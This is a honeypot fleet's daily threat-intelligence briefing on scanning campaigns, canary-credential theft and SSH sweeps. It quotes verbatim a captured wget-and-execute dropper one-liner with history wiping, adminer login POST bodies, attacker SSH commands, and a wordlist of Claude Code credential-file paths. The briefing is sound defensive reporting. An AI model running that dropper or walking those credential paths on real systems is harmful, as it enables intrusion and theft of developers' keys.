FLUX FLEET — INTEL BRIEFING №59

Period: 2026-10-21 07:33 – 2026-10-22 07:33 UTC (24h, day 57 of operations)
Sources: 8 honeypot nodes (frantech-ts also runs non-flux ssh/telnet honeypots whose condensed feed lands in /data/hp-logs and is NOT part of this report) — canary-farm-1 (EU-hot), ai-devbox-1 (EU), control-1 (differential baseline), ru-edge-1 (Russia), lauterbourg-01-ts (Kiteworks TLS profile), netcup-ts + sponge-01-ts + frantech-ts (deception-only, no canaries)
Network layer: Arkime on spark (the fleet's own pcap sensors) — step 3c, the only view of sweeps that never request a path
Confidence: High (direct observation, 57-day baseline, mint and use sides verified against Tracebit alert logs; hostile POST bodies quoted verbatim)

BLUF

Three collection kits worked the fleet in one window. ADMINER-SWARM returned with its 49-IP 173.239.214.x pool plus a new 45.131.195.x block, and both blocks POSTed the same adminer credential body — auth[username]=joomla_app with a fresh 22-character password per POST. WEBSIPHON ran its fifth generation at a uniform 587 events per IP on four nodes it had never touched (control-1, lauterbourg-01-ts, sponge-01-ts, canary-farm-1). A new hunter, 87.192.41.180, walked ten Claude Code credential-store paths across all 8 sensors, and its wordlist leaked to two other collectors in the same window. MEGA-DICTIONARY replayed on a third tzulo host and grew its wordlist by 29 paths. The canary funnel went quiet: 54 credentials to 26 collectors, zero AWS use — the first zero-use window since №18 (2026-09-12). One netcup request carried a telnet dropper command inside the clientIp/X-Forwarded-For/user-agent fields, the first header-field payload injection the fleet has logged.

Key Judgements

1. The adminer kits share one credential playbook. 173.239.214.x (49 IPs) and 45.131.195.x (3 IPs) POSTed the identical form on the same four sensors within minutes of each other: auth[driver]=server&auth[server]=&auth[username]=joomla_app&auth[password]=nzcOIczZ6Sw-2LUXAXChNw (45.131.195.68, 11:28 UTC), with a fresh 22-character password per POST. 173.239.214.103 used no-reply@app.internal as the username. That is the INFOCREST/AKAMAI-CONFIG body shape now running at swarm scale — 83 credential POSTs, 8 mints. (High confidence — bodies captured verbatim from both blocks, same window, same sensors.)
2. Templates now travel between operators faster than new actors appear. WebSiphon's census ran under four fresh Oracle-US IPs on four new nodes; the Claude Code wordlist leaked to 213.209.159.175 and 45.138.12.24 in-window; LIBREDTAIL's honest-UA arm doubled its run size and paired a standing daily runner with a first-ever operator. No shared infrastructure links any of these yet. (Moderate confidence — the co-usage is observed; the sharing mechanism is not.)
3. Credential theft continues, AWS consumption stopped. 54 credentials went to 26 collectors with zero use events. The hoards grew: 45.148.10.171 minted in its 27th consecutive window (34/6d), 213.209.159.175 holds 28/6d (8 in-window), 37.60.226.187 holds 17/6d (5 in-window), and AI-EXEC-HUNT's 41-credential hoard passed +72 h untouched. (High confidence on the counts — Tracebit alert log; Moderate on the trend — the pull window can hide use after the cutoff.)
4. The header-field payload injection is a new attack class for this fleet, from a low-end actor. The netcup request at 08:07:31 UTC carried cd /tmp;wget http://176.65.139.157/telnet2.sh -O telnet2.sh;chmod 777 telnet2.sh;/tmp/telnet2.sh; rm -rf telnet2.sh; history -c in the clientIp, X-Forwarded-For, and user-agent fields of a GET /. The socket peer 92.118.39.92 has 67 all-time events since 10-14 with commodity exploit paths (Apache OFBiz ProgramExport, GeoServer, MikroTik webfig). The trap answered tarpit-module. Whether this tests log poisoning or is a botnet payload misfire is open. (Moderate confidence — one injection event; the peer's history is verified.)

Active Campaigns (day 57 status)

CLAUDE-CRED-HUNT (Claude Code credential-store walk) ⚠ NEW (Hostile, active)

• Actors: 87.192.41.180 — on record 2026-10-17 hammering exactly /.claude/.credentials.json 70×; this window ran the full walk as 22 identical events on all 8 sensors (176 events). Forged Chrome/136 UA. GET-only, no mints, no POSTs.
• TTPs: 10-path wordlist — /.claude.json, /.claude/.credentials.json, /.claude/.env, /.claude/settings.json, /.claude/settings.local.json, plus /root/.claude/.credentials.json and /home/{ubuntu,admin,debian,claude}/.claude/.credentials.json. The digest logged it as two first-seen signatures (80d29a9d099a, 5b06f50534d3) because the no-canary nodes answer not-handled and the canary nodes answer with the claude-credentials trap family. The wordlist leaked in-window: 213.209.159.175 fetched 4 of the paths on control-1, 45.138.12.24 fetched 3 on netcup-ts.
• Assessment: targets Claude Code's local credential store — API keys and OAuth tokens on developer machines. The fleet answers with decoys; the operator's next step is probably AWS- or Anthropic-side use of whatever it collects elsewhere. The single-path-to-full-walk arc (10-17 → 10-21) shows active template development.

ADMINER-SWARM (distributed adminer/phpMyAdmin census + credential POSTs) ⟳ RETURNED (Hostile, active)

• Actors: 173.239.214.x — 49 IPs, 2,136 events on ai-devbox-1, control-1, ru-edge-1, canary-farm-1. NEW second block 45.131.195.x — 3 IPs (.68, .221, .225), 167 events on the same 4 sensors. 11 distinct IPs posted credentials on canary-farm-1.
• TTPs: login-surface enum, then adminer-credential-post + adminer-login POSTs — 68 from the pool, 15 from the new block. Bodies: auth[driver]=server&auth[server]=&auth[username]=joomla_app&auth[password]=<fresh 22-char>&auth[db]= (45.131.195.68 nzcOIczZ6Sw-2LUXAXChNw, .221 QgL_kkitXCZe-m-id-dZOg, 173.239.214.122 DhxVOgbWwYgaFGcnLCp6RQ); 173.239.214.103 used no-reply@app.internal. 8 mints (7 pool + 1 by 45.131.195.68, its second window after №58's first mint).
• Assessment: the swarm economics hold — low volume per IP, credential POSTs on every pass, mint per visit. The joomla_app body shape ties both blocks to the INFOCREST/AKAMAI-CONFIG class; a shared actor behind the two blocks is unproven. Farm's adminer-login 4.6× and adminer-credential-post 4.5× spikes are entirely this pool.

WEBSIPHON (honest-UA config census) ⟳ — FIFTH GENERATION, 4 NEW NODES (Hostile, active)

• Actors: four fresh IPs at exactly 587 events / 587 paths each (669 − 82 vs №58's template), honest UA WebSiphon/next-0.1: 147.224.212.88 (control-1, 17:19 UTC), 163.192.211.99 (lauterbourg-01-ts, 20:40), 163.192.109.234 (sponge-01-ts, 20:44), 147.224.133.69 (canary-farm-1, 22:08, 1 mint at /.env + 1 mint failure on control). All Oracle-US hosting, two blocks. Fifteenth operator IP over five windows.
• TTPs: the registered census, now with a source-archive generation — /site.yml, /COPYING, /next.config.js, /repository.zip, /source.zip, /website.zip (the lauterbourg first-seen set). Owns control-1's fake-git-error 47× spike (290 of 314) and backup-archive-error 21× (21), plus canary-farm-1's backup-archive 6.1× (21).
• Assessment: the template keeps its exacting per-run shape while the node set widens — control-1 and the no-canary nodes are new targets this generation. The wordlist trades GPU-cloud paths for source-archive paths; wordlist drift remains the campaign's development signal.

MEGA-DICTIONARY (shared IoT dropper-URL dictionary replay) ⟳ — THIRD TZULO HOST, +29 PATHS (Hostile, active)

• Actors: 23.234.116.20 (tzulo, Inc. US) — frantech-ts 13,776 events / 13,776 distinct paths in about 2 minutes (05:54–05:55 UTC), 96% of the node's window. 208 user agents in the IoT-router rotation (ZyXEL Keenetic, Ubiquiti AirMax, Phicomm K2P, Xiaomi-Router, Seagate Personal Cloud classes). Third tzulo-hosted replay (№34: .117.146; №57–№58 heavy leg: .78.109).
• TTPs: anti-join against all-time frantech history: 13,747 of 13,776 paths seen before — 29 new: /bins/adb/akuma.* (15 architectures), /bins/kushnet.* (11 architectures), /bins/watchdog, and 2 one-off UUID paths. 0 POSTs, 0 mints.
• Assessment: the artifact keeps circulating between hosting operators and keeps growing — third growth in four windows (+66, +4, +29). Two new malware families (akuma, kushnet) joined in one replay; a second host fetching either family is the adoption signal.

LIBREDTAIL-KIT (phpunit/php-cgi RCE chain) ⟳ — HONEST-UA ARM ESCALATED (Hostile, active)

• Actors: honest-UA arm: 103.46.186.148 — a standing daily runner (56 events/day across 5 nodes since 09-16, previously unlogged as such) — doubled to 98 events / 44 paths on 2 nodes; NEW partner 45.137.194.154 at the same 98/44 shape, first ever. Forge-UA cluster 7e61a9500d8b: 15 IPs / 735 events / 7 sensors.
• TTPs: unchanged per-IP chain — cgi-traversal-rce-command on /bin/sh → cmd-injection-apache-cgi-shell → cmd-injection-php-cgi-rce. Dropper body uncaptured an eleventh cycle.
• Assessment: the honest arm now runs two coordinated same-size passes — scheduled behavior, not opportunistic. A captured shell_exec(base64_decode(...)) body or a run with a second node set marks the next escalation.

KEYDROP-SCANS (onlyscans-branded banner scanner) ⟳ RETURNED (Borderline, active)

• Actors: NEW pair 172.239.10.144 + 172.233.224.159 — 8 events each across 4 sensors, 12:01–20:39 UTC. The №55 pair (104.64.127.170, 172.105.54.41) did not return.
• TTPs: unchanged uniform 2-event walk per sensor (/.env + /.git/config) under Mozilla/5.0; Keydrop.io/1.0(onlyscans.com/about);. 3 mints (ru-edge-1, canary-farm-1, ai-devbox-1) + 1 mint failure on control-1 (400).
• Assessment: the brand's economics hold — mint on every canary sensor touched. Third operator pair; the walk stays at volume 2 per sensor, so watch for growth, not repetition.

CONFIGBUNDLE-KIT (config-bundle + tomcat-bypass census) ⟳ — NO NEW LEGS (Hostile, quiet)

• Actors: no new operator legs this window. The only runs in this digest remain the №58 quad, which falls inside this window: 217.60.198.111 (629 events / 4 sensors / 6 mints), 146.70.211.38 (600 / 3 sensors / 2 mints), 208.84.100.218 (36 / 3 sensors / 1 mint).
• TTPs: unchanged family mix. Its tails still own chunks of the ru-edge webapp-config-bundle-js-error (20 of 60) and tomcat-path-bypass-env (5 of 20) spikes and canary-farm-1's phpinfo-error (16 of 50).
• Assessment: the second window brought no new evidence for kit-vs-coincidence; the shared-IP/body/password test stays open. The false-git-error stage it shares with WebSiphon and the swarm shows how congested the decoy surface is.

REGISTRY-HUNT / LeakIX (l9scan template) ⟳ (Borderline, active)

• Actors: l9scan mints continue at one per runner: 128.199.182.55 (ru-edge-1, 19:59 UTC), 206.81.24.74 (control-1, 20:01), 45.138.12.51 (l9explore/1.2.2, control-1, 02:04). The kill-chain table carries the full 25-family journey on nine DigitalOcean-class IPs (159.89.12.166, 209.38.208.202, 209.38.248.17, 143.244.168.161, 167.172.158.128, 128.199.182.55, 46.101.1.225, 157.230.19.140, 206.81.24.74).
• TTPs: unchanged — tarpit → WebLogic console → Confluence → WHM/cPanel → docker-registry enum, ~1 mint per runner.
• Assessment: the brand's economics hold across three windows of mint-per-visit; AWS-side draws after the window close remain the pattern to beat.

GOWEB-PENTEST (phpMyAdmin login-surface hammer) ⟳ — 23rd OPERATOR (Hostile, active)

• Actors: 193.194.91.148 — netcup-ts, 151 phpmyadmin-login GETs on 1 path (first netcup appearance; 23rd operator IP).
• TTPs: unchanged — honest UA Go Web Pentest Tool, 151 GETs / 1 path / ~1 minute, GET-only. With l9explore's 3 events it owns netcup-ts's phpmyadmin-login 68.4× spike (154).
• Assessment: commodity tool, fresh operator, new node. Captured credential body remains unseen across 23 operators.

KITEWORKS-CRAWL (Kiteworks decoy fingerprinting) ⟳ — NEW OPERATOR (Hostile, active)

• Actors: 129.222.206.242, first ever — lauterbourg-01-ts Kiteworks walk: 46 kiteworks-asset fetches, 8 kiteworks-shell, 8 kiteworks-root-redirect, 4 webshell-probe; 222 events / 67 paths across lauterbourg, canary-farm-1, ai-devbox-1 under Chrome/136→143 forgeries. 0 mints.
• TTPs: the registered crawl shape (root redirect → /login → JS bundle census → webshell sweep), now under a fourth operator class.
• Assessment: the Kiteworks decoy keeps fingerprinting operators at zero cost to the fleet. A fourth operator class in as many windows says the decoy is indexed by shared tooling.

BUCKLOG-KIT (census + phpunit RCE arms) ⟳ (Hostile, active)

• Actors: census arm 185.177.72.69 — sponge-01-ts, 269 events (gravitysmtp-mock-data class). Light leg 185.177.72.7 — 38 events. Collector .64 and the RCE arm silent.
• TTPs: unchanged census shape; the arm rotates one node per window (farm №58 → sponge №59).
• Assessment: the /24 keeps its per-window node rotation. A captured verify body or a second-node RCE run remains the escalation signal.

CREDENTIAL-DRAIN (mint → use pipeline) ⟳ — ZERO-USE WINDOW (Hostile, active)

• Actors: mint side 54 Tracebit credentials to 26 collector IPs (70 digest issued rows). Use side: none — 0 AWS alert events this window.
• TTPs: 48 mint failures, all 400 Bad Request, spread across 31 collector IPs — the burst-pacing rejection class, no 401s. ru-edge-1 failed more mints than it succeeded (11 vs 6).
• Assessment: first zero-use window since №18 (2026-09-12). The inventory keeps aging: 34.58.160.181's 41 credentials at +72 h, 45.148.10.171 at 34/6d across 27 windows. Either use moved off-window, or the buyers are done for now — the next windows answer.

Light watchers this window

• 77.90.185.243 / .244 — second window, escalated. After №58's 2+2 mints on ru-edge-1, the pair moved to canary-farm-1 and ran 124 of the node's 152 env-production-error events (62 each) under an MSIE 6/Opera 7 and an Android MediaPad forgery. 172 all-time events each, all since 10-21. Promotion trigger armed: another window or another mint.
• 93.152.209.6 (Omniline BG) — first ever 10-22: 94 events / 94 paths / 40 result families on canary-farm-1 under forged Googlebot/2.1 (env-production 24, sql-dump, backup-archive, ssh-private-key-error, fake-git stages), 1 mint. OMEGA-class mini-census, single run so far. Sibling 93.152.221.96 (Go-http-client/1.1) minted 1 on each of 3 sensors 23:57–04:22 UTC.
• 45.148.10.5 (CREDSWEEP-family) — another daily runner (56 events/day since 09-16) that quadrupled to 224 events / 4 sensors with a 12-UA modern rotation, a fake-git-error stage on aidev and control, and 1 mint (Safari/17.5 forgery, farm 00:28 UTC).
• 213.209.159.154 (Feo Prest sibling) — census-grade second run: 428 events / 4 sensors under two UA legs, 8 new .env directory variants (the netcup/sponge first-seen paths: /msks/.env, /temanr10/.env, /micro-app-react/.env class), 5 mints (4 in-window rows).
• 23.234.96.222 (tzulo) — second window: 44 events on ru-edge-1 (Firefox/105 + python-requests/2.32.5), 5 tomcat-path-bypass-env, 1 mint.
• 151.243.18.111 (Dedik US) — second run (150 events 10-08, now 300): one-minute lauterbourg-01-ts sweep under forged Googlebot/2.1, 150 paths, webshell-probe 14 + webshell-sweep-observed — a webshell-hunting census. Doubling volume; watch.
• 45.205.1.148 — 1 event on each of 4 sensors (13:33–13:48 UTC) under the new honest-brand UA AuthorizedProxySender/2.0. Single-pass walker; borderline, report.
• 165.227.102.187 — UA Mozilla/5.0 (compatible; research), 1 mint on canary-farm-1. Self-labeled research; mints are inventory. Borderline.
• New multi-mint collectors: 143.244.165.105 (DigitalOcean, bare Mozilla/5.0, 3 mints on farm), 72.167.41.202 (GoDaddy, axios/1.18.0, 3 mints on 3 sensors, on record since 09-04), 64.89.163.14 (3 mints on 3 sensors, UA rotation incl. Kubuntu Chrome/134; on record since 09-16).
• 176.65.149.73 — first-ever PHP-Inventory-Fingerprint/7.2 UA, 1 event on netcup-ts. Same /24 as the standing light walkers .104/.106/.111.

Standing actors (persistence check)

• 45.148.10.171 — twenty-seventh consecutive minting window: 5 in-window rows (farm ×2, aidev ×2, control), 34/6d, antique-UA forgeries. The fleet's longest-running collector.
• 213.209.159.175 (Feo Prest) — 8 in-window mints on control-1, 28/6d, six+ window run continues.
• 37.60.226.187 — 5 in-window mints across farm/control/ru-edge under wild UA rotation (Firefox/16, Android Cupcake, Konqueror/NetBSD, Opera/9 PPC, CrOS 78), 17/6d — the fastest-growing standing hoard.
• Bochum softsec crawler (185.73.23.161 finn + .162 goose + .168 winston) — tenth window, benign-listed: netcup-ts 6,422 of 8,295 events (77%), sponge-01-ts 5,691 of 7,273 (78%).
• TOKEN-CRAWLER pool 45.198.224.x — .124 (107 events) and .125 (73) touched all 8 sensors again, 0 mints.
• Pfcloud /24 — the MALWARE-DICT loop (204.76.203.18) stayed idle; sibling 204.76.203.7 ran its light 6-sensor walk (25 events).
• Benign fixed-cadence probers — 89.248.172.33 (387 events, 7 sensors), 80.82.77.202 (246, 7), 93.174.93.12 (225, 6), Censys-class 71.6.155.70 (8 sensors), visionheight 18.116.101.220 (3 sensors) + 45.139.104.34/.35 (osint-scanner/1.0, 4 sensors each), 3.129.187.34-class visionheight singles, 45.77.61.56 (CyberConvoyScout, 4 sensors), 195.182.16.23, 85.11.167.243, 34.140.3.155 (8 sensors).
• Techoff light walkers — 195.178.110.137 (7 sensors) and .247 (8 sensors) ran their shallow passes; census runner .159 was absent.

Absent or paused

AI-EXEC-HUNT (third window; hoard pull continues), SES-QUOTA-PROBE (use side silent), METADATA-HUNT named runners (sixth idle window), CVENGINE-KIT (45.138.12.22/.27 absent; block-mate .24 ran a 424-event census with gravitysmtp-mock-data and 20 body-less POSTs), CENSUS-284, WP-FORM-BRUTE, ADMINER-SWARM's 185.198.240.x block (only 173.239.214.x returned), 85.155.14.16 (first absence after three escalating windows), 156.225.26.90 (no use-side events fleet-wide), CRUSADER-SWEEP, EMPERORS-KIT, XMLRPC-BRUTE, NIGHTAGENT, SONICWALL-VPN-PROBE, OMEGA-SWEEP, INFOCREST-KIT, ATLASSIAN-REST-PROBE, ENVRC-SWEEP, KEYHUNT, SI-CENSUS, CONFIG-SWEEP, CF-FRONTED CREDSWEEP, PROTON-CENSUS, LLM-ENDPOINT-PROBE, AKAMAI-VHOST-SCAN, MALWARE-DICT-2, ENV-CENSUS-4, ALIYUN-PROBE, CURL-SWEEP, GCP-ACONF, SS-NET TOOLING.

Network-layer recon (Arkime) — 2026-10-21 07:33:00 → 2026-10-22 07:33:32 UTC

Fingerprint field ssh.hassh, destination port 22 · 135,469 inbound sessions · fleet IPs: ai-devbox-1 217.15.163.226, canary-farm-1 109.123.246.142, control-1 38.54.2.209, frantech-ts 209.141.62.110, lauterbourg-01-ts 89.116.25.211, netcup-ts 159.195.21.150, ru-edge-1 130.94.89.46, sponge-01-ts 89.167.72.144

Session tags: honeypot 97,021, bahrain-sponge-01-ts 52,878, sensor:bahrain-sponge-01-ts 52,878, sensor:lauterbourg-01-ts 23,118, contabo-sponge-01-ts 16,355, sensor:contabo-sponge-01-ts 16,355

Flagged sweeps (2) — one fingerprint, many networks, single port, no authentication attempted:

• f555226df1963d1d3c09daf865abdc9a — client banner ssh-2.0-libssh_0.9.6, 6,821 sessions from 318 source IPs across 174 networks in 60 countries, port 22, avg 4,921 B/session. Networks: AS135377 UCLOUD INFORMATION TECHNOLOGY HK LIMITED, AS8075 Microsoft Corporation, AS132203 Tencent Building, Kejizhongyi Avenue, AS14061 DigitalOcean, LLC, AS4766 Korea Telecom. Busiest sources: 202.165.14.135, 152.32.229.251, 92.27.101.99, 103.154.62.14, 211.254.212.59. Last 7 days: 10-16 281 IPs, 10-17 257 IPs, 10-18 324 IPs, 10-19 418 IPs, 10-20 402 IPs, 10-21 327 IPs, 10-22 85 IPs.
• 06ff3615a51b2af343ec22abc8e30bbc — client banner ssh-2.0-go, 2,544 sessions from 69 source IPs across 53 networks in 26 countries, port 22, avg 5,321 B/session. Networks: AS9318 SK Broadband Co Ltd, AS4811 China Telecom Group, AS45090 Shenzhen Tencent Computer Systems Company Limited, AS4134 Chinanet, AS12389 Rostelecom. Busiest sources: 14.103.39.152, 222.188.111.58, 124.222.60.152, 83.48.125.229, 188.128.63.114. Last 7 days: 10-15 39 IPs, 10-19 165 IPs, 10-20 8 IPs, 10-21 70 IPs.

Thresholds: dispersed = ≥50 source IPs and ≥20 networks on one port; mass = ≥200 source IPs. Fingerprint identity, never source IP: sweep operators rotate addresses and keep the tool.

Recon reading. Both flagged sweeps are registered campaigns; nothing new to register. LIBSSH-MASSSWEEP (f555226d…) held its dispersed shape at 318 IPs / 174 networks (−73 day-over-day, the drift line inside its window boundary). GO-SPRAY-SWEEP (06ff3615…) re-crossed the dispersed threshold after №58's 5-IP miss — 69 IPs / 53 networks / 2,544 sessions; its on/off cadence is now three confirmed cycles. GO-SSH-SWEEP (0a07365c…) intensified: 30,315 sessions (+4,230) from 38 IPs (−4) in single-source shape — volume up, pool down. GO-SCATTER-SWEEP (16443846…) stayed single-source at 31 IPs / 12,277 sessions (−3,374). sensor:lauterbourg-01-ts appeared as a session tag this window (23,118 sessions) — the new node's sensor labeling reached Arkime; the stale bahrain-sponge-01-ts / contabo-sponge-01-ts tags persist (ops-repo fix, not a briefing action).

Canary credentials

Summary

No canary credentials were used in AWS during the window. Fleet sensors minted 54 credentials to 26 collector IPs; none reached AWS.

Mint → use funnel

Per collector (evidence for attribution prose — join each IP against ip-journey and the campaign registry):

Persistent collectors with no observed AWS use (candidates for hoard/resale/untraced use — check prior briefings for named campaigns):

• 34.58.160.181: 41 mints, 2026-10-19 16:03 → 2026-10-19 16:03
• 45.148.10.171: 34 mints, 2026-10-15 04:54 → 2026-10-22 00:53
• 213.209.159.175: 28 mints, 2026-10-16 09:07 → 2026-10-22 05:08
• 37.60.226.187: 17 mints, 2026-10-20 02:15 → 2026-10-21 21:45
• 213.209.159.154: 10 mints, 2026-10-15 09:15 → 2026-10-22 01:43
• 80.94.92.126: 9 mints, 2026-10-17 10:09 → 2026-10-20 10:36
• 140.245.97.208: 7 mints, 2026-10-16 16:38 → 2026-10-21 05:57
• 45.138.12.51: 7 mints, 2026-10-16 01:31 → 2026-10-22 02:04
• 80.94.92.65: 7 mints, 2026-10-16 07:17 → 2026-10-21 09:39
• 217.60.198.111: 6 mints, 2026-10-21 03:45 → 2026-10-21 03:54
• 23.234.78.109: 6 mints, 2026-10-17 20:53 → 2026-10-20 14:00
• 102.220.163.155: 4 mints, 2026-10-15 10:21 → 2026-10-16 22:57
• 104.251.180.112: 4 mints, 2026-10-17 14:48 → 2026-10-21 12:15
• 185.177.72.64: 4 mints, 2026-10-20 01:57 → 2026-10-20 08:44
• 64.23.218.208: 4 mints, 2026-10-15 17:46 → 2026-10-17 20:42
• 64.89.163.14: 4 mints, 2026-10-17 22:50 → 2026-10-21 10:53
• 104.64.127.170: 3 mints, 2026-10-17 07:08 → 2026-10-17 11:29
• 109.205.176.10: 3 mints, 2026-10-15 21:41 → 2026-10-18 04:42
• 137.23.38.53: 3 mints, 2026-10-17 20:22 → 2026-10-19 01:31
• 143.244.165.105: 3 mints, 2026-10-21 18:02 → 2026-10-21 20:35
• 146.190.63.248: 3 mints, 2026-10-15 17:50 → 2026-10-18 20:39
• 150.228.105.248: 3 mints, 2026-10-20 17:58 → 2026-10-20 18:02
• 157.230.19.140: 3 mints, 2026-10-17 19:58 → 2026-10-19 20:25
• 157.245.105.107: 3 mints, 2026-10-16 18:47 → 2026-10-20 20:23
• 165.22.34.189: 3 mints, 2026-10-15 18:41 → 2026-10-17 20:29
• 185.177.72.17: 3 mints, 2026-10-18 22:42 → 2026-10-18 22:42
• 206.81.24.227: 3 mints, 2026-10-16 19:01 → 2026-10-18 20:38
• 206.81.24.74: 3 mints, 2026-10-16 20:03 → 2026-10-21 20:01
• 209.38.208.202: 3 mints, 2026-10-16 20:15 → 2026-10-17 02:37
• 209.38.248.17: 3 mints, 2026-10-15 19:01 → 2026-10-16 21:02
• 209.99.189.217: 3 mints, 2026-10-16 03:02 → 2026-10-16 11:19
• 46.101.1.225: 3 mints, 2026-10-15 17:46 → 2026-10-20 20:02
• 64.227.70.2: 3 mints, 2026-10-17 19:57 → 2026-10-18 20:10
• 72.167.41.202: 3 mints, 2026-10-21 17:47 → 2026-10-21 18:25
• 85.155.14.16: 3 mints, 2026-10-18 03:19 → 2026-10-20 17:27
• 92.38.172.10: 3 mints, 2026-10-16 23:16 → 2026-10-17 07:55
• 93.152.221.96: 3 mints, 2026-10-21 23:57 → 2026-10-22 04:22

Attribution notes. The window's collectors are census-side, not use-side: the biggest new takes went to campaign operators (the ADMINER-SWARM pool 8, KEYDROP-SCANS 3, WebSiphon 1, the CREDSWEEP-family runner 1). The only prior-window use actor, 156.225.26.90, produced no AWS events this window. The silent zero is clean at the pull time; Tracebit remains the only witness after the cutoff.

Fleet Observations

Canary economics. 70 digest issued rows across 4 canary sensors: canary-farm-1 28, control-1 23, ai-devbox-1 13, ru-edge-1 6 — 54 Tracebit credentials to 26 collectors after dedupe, 0 AWS use. Mint failures 48, all 400 Bad Request (farm 19, ru-edge 11, aidev 12, control 6) across 31 collector IPs — the burst-pacing class, driven by the swarm and census waves; no 401s, no empty-error rows. All mint labels "aws". All-time issued-row counter: 2,766 (visuals run).

Attribution and TLS posture. XFF counters: any-XFF 1,680 / multi-entry 0 / present-but-ignored 241 / single-entry mismatch 1 — the netcup header-field injection detailed in Key Judgement 4 (socketPeer 92.118.39.92, GET /, tarpit-module, 08:07:31 UTC). The event shows why the counter exists: every identity field carried the attacker's string, and only the socket peer is real. TLS split: lauterbourg-01-ts logged its first measured HTTPS traffic (240 events vs 1,603 HTTP) — the Kiteworks TLS surface is drawing TLS clients; ai-devbox-1 472 HTTPS / 1,471 HTTP; canary-farm-1 726 / 2,877. Top Host headers stayed the nodes' own IPs and the two vhosts (sso.rightabouteverything.show 1,147, inference.fapthropic.com 1,001).

control-1 discovery velocity. Day 39 (first event 2026-09-12 07:59 UTC): 2,173 events from 178 unique IPs. The unique-IP count is a node record (prior 167, №57) — it reflects the ADMINER-SWARM quad, WebSiphon, and the swarm's 49-IP pool arriving together, not a discovery wave; event volume stayed mid-band. The ramp dataset still shows no discovery-shaped day.

Volume moves and causes. canary-farm-1 +71% (3,603): ADMINER-SWARM farm leg + 11 posting IPs, WebSiphon .69 (587), the 77.90.185.x pair (124 env-production-error), CONFIGBUNDLE tails. netcup-ts +45% (8,295): Bochum 6,422 (77%, benign) + GOWEB .148 (151) + Bochum-hour bursts to 612 events. lauterbourg-01-ts +45% (1,843): WebSiphon .99 (587), 151.243.18.111 (300), KITEWORKS-CRAWL's new operator. sponge-01-ts +20% (7,273): Bochum 5,691 (78%) + WebSiphon .234 (587) + BUCKLOG .69 (269). ru-edge-1 +27% (1,501): the swarm quad + Keydrop pair + CONFIGBUNDLE overlap. control-1 −41% (2,173): №58's census arrivals did not repeat; WebSiphon (587) and the swarm quad replaced bigger legs. ai-devbox-1 −4%, frantech-ts −1% — the node is one replay with a fringe.

Result-tag spike attribution. All 11 spikes have causes: ai-devbox-1 fake-git-error 24 (4.4×) = 45.148.10.5. canary-farm-1 adminer-credential-post 42 (4.5×) + adminer-login 43 (4.6×) = the swarm pool (11 posting IPs); backup-archive 27 (6.1×) = WebSiphon .69 (21) + Feo Prest singles; env-production-error 152 (3.5×) = 77.90.185.243/.244 (124) + 146.70.211.38 (22); phpinfo-error 50 (3.0×) = 146.70.211.38 (16) + 217.60.198.111 (12) + 208.84.100.218 (4) + swarm singles. control-1 backup-archive-error 21 (21×) = WebSiphon .88 (21); fake-git-error 314 (47.1×) = WebSiphon .88 (290) + 45.148.10.5 (~15). netcup-ts phpmyadmin-login 154 (68.4×) = GOWEB .148 (151) + l9explore .51 (3). ru-edge-1 phpinfo-error 25 (4.7×) = CONFIGBUNDLE + swarm singles; tomcat-path-bypass-env 20 (4.0×) = 217.60.198.111 (5) + 23.234.96.222 (5) + pool singles; webapp-config-bundle-js-error 60 (3.0×) = 217.60.198.111 (20) + 45.131.195.225 (4) + pool singles.

Digest quirks. First-seen timestamps cluster at the 03:15:52 sync arrival — inventory, not timeline; "first-seen" means not in the prior 7-day baseline (the PHP-Inventory-Fingerprint/7.2 UA is genuinely first-ever all-time: 1 event, 176.65.149.73). Spot totals run above digest cells on the aligned window (aidev 2,137 vs 1,943, frantech 14,462 vs 14,378). Top-talker totals exclude tarpit-disconnect pairing rows. The fleet-24h histogram hour labels stay EDT-labeled under the hour_utc header (№49 quirk). The digest's campaign table split one walk into two signatures on node result tags (see CLAUDE-CRED-HUNT) — same tooling, not two campaigns.

Fleet-side changes this cycle. flux-visuals.py CHAINS: CLAUDE-CRED-HUNT added; ADMINER-SWARM and KEYDROP-SCANS → active; KITEWORKS-CRAWL → active; AI-EXEC-HUNT stays idle; WEBSIPHON, CONFIGBUNDLE-KIT, LIBREDTAIL-KIT, MEGA-DICT, BUCKLOG-KIT, GOWEB-PENTEST, CREDENTIAL-DRAIN notes updated. TALKER_CAMPAIGNS gained 14 mappings (the WebSiphon quartet, MEGA-DICT's new host, CLAUDE-CRED-HUNT, GOWEB's 23rd, KITEWORKS' new operator, both LIBREDTAIL honest runners, the KEYDROP pair, 45.148.10.5). recon-names.tsv unchanged — no new flagged fingerprints. Visuals written once after the edits: flux-fleet-visuals-2026-10-22.html (4.76 MB).

SSH/telnet honeypot (frantech-ts — single sensor, not fleet-wide)

Funnel: 361 sources sent credentials → 253 got a shell (70%) → 192 ran a command (76% of shell-getters, 53% of sources). Event level: 9,027 credential attempts → 4,038 accepted logins → 7,097 commands (176% of accepted logins go on to run something). Telnet (commodity IoT botnets): 1,099 attempts.

Thirty-second static command window. New commands: 0 of 47 distinct. The recurring set holds: the uname -s -v -n -r -m + uname -m | awk survey pair at 1,288 events each from 109.160.32.152 (+1 sibling) — the 109.160.32.x range GO-SSH-SWEEP's pool uses, second window running the survey; the .ssh replant pair (cd ~; chattr -ia .ssh; lockr -ia .ssh — 980 events / 170 IPs; the key-replace chain — 858 / 160 IPs); and the nvidia-smi GPU-survey battery at 281 events from 3 IPs led by 45.148.10.61 (the hardware-survey moved from Techoff's .217 to a 45.148.10.x operator).

Credential concentration. 3,577 distinct pairs offered, 0 new. The fixed-pair sprayer family continues: 345gs5662d34/345gs5662d34 leads at 959 attempts, root/3245gs5662d34 at 610, with admin/ubuntu/user variants of 3245gs5662d34 behind (61/54/35).

Gaps / Next Collection

1. CLAUDE-CRED-HUNT's trajectory. 87.192.41.180 went single-path (70× on 10-17) to a 10-path × 8-sensor walk. Watch for a second operator, AWS- or Anthropic-side use of collected Claude Code stores, and further wordlist leaks (213.209.159.175 and 45.138.12.24 already carry it).
2. ADMINER-SWARM's 8 new mints. The pool minted on all 4 sensors with captured joomla_app bodies. Watch Tracebit for AWS use; test the 173.239.214.x ↔ 45.131.195.x link on a second shared artifact (password shape is already one).
3. The header-injection peer. Pivot on socketPeer 92.118.39.92 (67 all-time events since 10-14) and dropper host 176.65.139.157. A repeat with a second payload in the identity fields, or any telnet2.sh fetch telemetry, promotes this to a campaign.
4. WebSiphon's farm mint. 147.224.133.69 took 1 credential at /.env at 22:08 UTC. The №55 generation's keys were worked in AWS in-window; track alerts on this one.
